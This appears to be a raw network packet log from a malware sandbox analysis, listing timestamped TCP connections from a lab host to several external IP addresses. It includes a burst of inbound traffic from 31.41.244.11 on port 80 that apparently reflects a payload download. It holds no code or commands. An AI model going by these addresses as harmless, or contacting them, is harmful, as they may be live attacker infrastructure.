Nov 23, 2024 03:21:07.101125002 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.101197004 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.101526976 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.101542950 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.147561073 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:07.362044096 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.362112999 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.362201929 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.362392902 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.362401962 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.366399050 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.366441965 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.366509914 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.366796017 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.366823912 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.421679020 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.421838999 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.421889067 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.421988010 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.422004938 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.422017097 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.422020912 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.424137115 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.424191952 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.424304962 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.424429893 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.424443960 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.498176098 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.498338938 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.498416901 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.498559952 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.498565912 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.498574972 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.498579979 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.500493050 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.500566959 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.500658989 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.500768900 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.500793934 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.527303934 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.527355909 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.527432919 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.527559042 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.527559042 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.527584076 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.527610064 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.529408932 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.529423952 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.530612946 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.530716896 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.530730009 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.555608988 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.555660963 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.555747032 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.555897951 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.555897951 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.555939913 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.555967093 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.557653904 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.557691097 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:07.557780027 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.557894945 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:07.557921886 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:08.448753119 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:08.449306011 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:08.453027964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:08.572524071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:08.572638035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:08.572788000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:08.692178965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.158026934 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.158533096 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.158557892 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.159014940 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.159023046 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.249145031 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.249509096 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.249557018 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.249808073 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.249823093 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.297548056 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.298835039 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.298880100 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.299168110 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.299180984 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.348479986 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.350840092 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.350857019 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.351171970 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.351183891 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.391089916 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.394866943 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.394881010 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.395241022 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.395246029 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.591339111 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.591506004 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.591572046 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.591866970 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.591888905 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.591900110 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.591907978 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.594460964 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.594563961 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.598634005 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.598776102 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.598809004 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.702398062 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.702471972 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.702580929 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.702698946 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.702698946 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.702728987 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.702749968 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.705125093 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.705159903 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.705231905 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.705348015 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.705360889 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.740462065 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.740624905 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.740881920 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.740883112 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.740951061 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.740992069 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.742827892 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.742866039 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.743067026 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.743182898 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.743205070 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.792079926 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.792135954 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.792207956 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.792341948 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.792361975 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.792399883 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.792433023 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.794478893 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.794516087 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.794622898 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.795126915 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.795139074 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.845489025 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.845550060 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.845643997 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.845828056 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.845843077 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.845854998 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.845860958 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.848337889 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.848359108 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.848514080 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.848668098 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:09.848683119 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:09.957751036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.957762003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.957808971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:09.957870960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.957911968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.957923889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.957966089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:09.957990885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:09.958003044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.958014011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.958024025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.958034992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.958045006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:09.958048105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:09.958081961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:09.982372999 CET	49724	80	192.168.2.4	93.184.221.240
Nov 23, 2024 03:21:10.077591896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.077665091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.077718973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.081722021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.081770897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.102176905 CET	80	49724	93.184.221.240	192.168.2.4
Nov 23, 2024 03:21:10.102255106 CET	49724	80	192.168.2.4	93.184.221.240
Nov 23, 2024 03:21:10.159308910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.159365892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.159409046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.159576893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.163450956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.163508892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.163564920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.163616896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.171875000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.171920061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.171943903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.171982050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.180207968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.180269003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.180318117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.180362940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.188689947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.188700914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.188743114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.196974993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.197024107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.197061062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.197108984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.205332994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.205400944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.205487013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.205542088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.213718891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.213767052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.213805914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.213877916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.222042084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.222088099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.222151041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.222198009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.229938030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.230045080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.230052948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.230097055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.237859964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.237915039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.237943888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.237988949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.280195951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.280206919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.280281067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.360805035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.360857964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.360891104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.360934973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.363229990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.363276005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.363348961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.363394976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.368190050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.368252993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.368284941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.368330956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.373214006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.373259068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.373286963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.373326063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.378118038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.378164053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.378220081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.378283978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.383090973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.383136988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.383240938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.383285999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.388267994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.388329029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.388394117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.388437986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.393017054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.393064976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.393131971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.393177032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.398001909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.398046970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.398250103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.398423910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.402964115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.403012037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.403064013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.403109074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.407933950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.407980919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.408032894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.408077955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.412919998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.412983894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.413026094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.413069010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.416615009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.416661024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.416695118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.416738033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.420254946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.420298100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.420351982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.420393944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.423943996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.424006939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.424045086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.424087048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.427666903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.427712917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.427746058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.427793980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.431324959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.431366920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.431464911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.431508064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.434967041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.435010910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.435074091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.435123920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.438663960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.438710928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.438744068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.438782930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.442343950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.442388058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.442444086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.442487955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.446002007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.446065903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.446095943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.446140051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.561889887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.561899900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.562154055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.562681913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.562732935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.562767029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.562810898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.565603018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.565651894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.565723896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.565768003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.568577051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.568622112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.568659067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.568702936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.571438074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.571537971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.571542978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.571599007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.574269056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.574302912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.574333906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.574348927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.577013016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.577063084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.577104092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.577147961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.579777956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.579824924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.579894066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.579933882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:10.582580090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:10.582629919 CET	49760	80	192.168.2.4	31.41.244.11
